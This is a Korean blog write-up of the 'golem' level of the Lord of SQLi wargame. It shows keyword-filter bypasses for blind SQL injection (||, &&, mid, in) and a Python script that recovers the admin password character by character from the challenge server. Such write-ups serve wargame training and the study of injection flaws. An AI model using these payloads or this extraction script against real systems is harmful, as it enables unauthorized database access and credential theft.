DINGA DINGA
article thumbnail
Published 2021. 7. 9. 10:57
[LOS] golem WEB/LOS
728x90

이번에도 blind sql injection을 이용하는 문제다.

or, and, substr 등이 필터링 된다.

 

or는 ||, and는 &&로 우회할 수 있고, substr는 mid 함수로, =은 in으로 쓰면 된다.

 

아래와 같이 입력해보았다.

?pw=' || id in("admin") %23

Hello admin이라고 뜬다.

마찬가지로 쿼리 뒤에 && length(pw) in ("8") #을 추가해 pw의 길이가 8임을 확인했다.

 

pw를 알아내기 위헤 파이썬을 이용해 자동화 프로그램을 작성했다.

import requests

url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'

headers= {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36'}
cookies= {'PHPSESSID':'세션아이디'}

result=''
for i in range(1,9):
	for j in range(32,128):
		params= {'pw':'\' || id in(\'admin\') && ascii(mid(pw,{},1)) in ({}) #'.format(i,j)}
		res = requests.get(url,headers=headers,cookies=cookies,params=params)

		if 'Hello admin' in res.text:
			result += chr(j)
			break

print("Result : " + result)

 

실행 결과는 아래와 같다.

 

Clear!

728x90

'WEB > LOS' 카테고리의 다른 글

[LOS] bugbear  (0) 2021.07.21
[LOS] darkknight  (0) 2021.07.16
[LOS] skeleton  (0) 2021.06.27
[LOS] vampire  (0) 2021.06.27
[LOS] troll  (0) 2021.06.27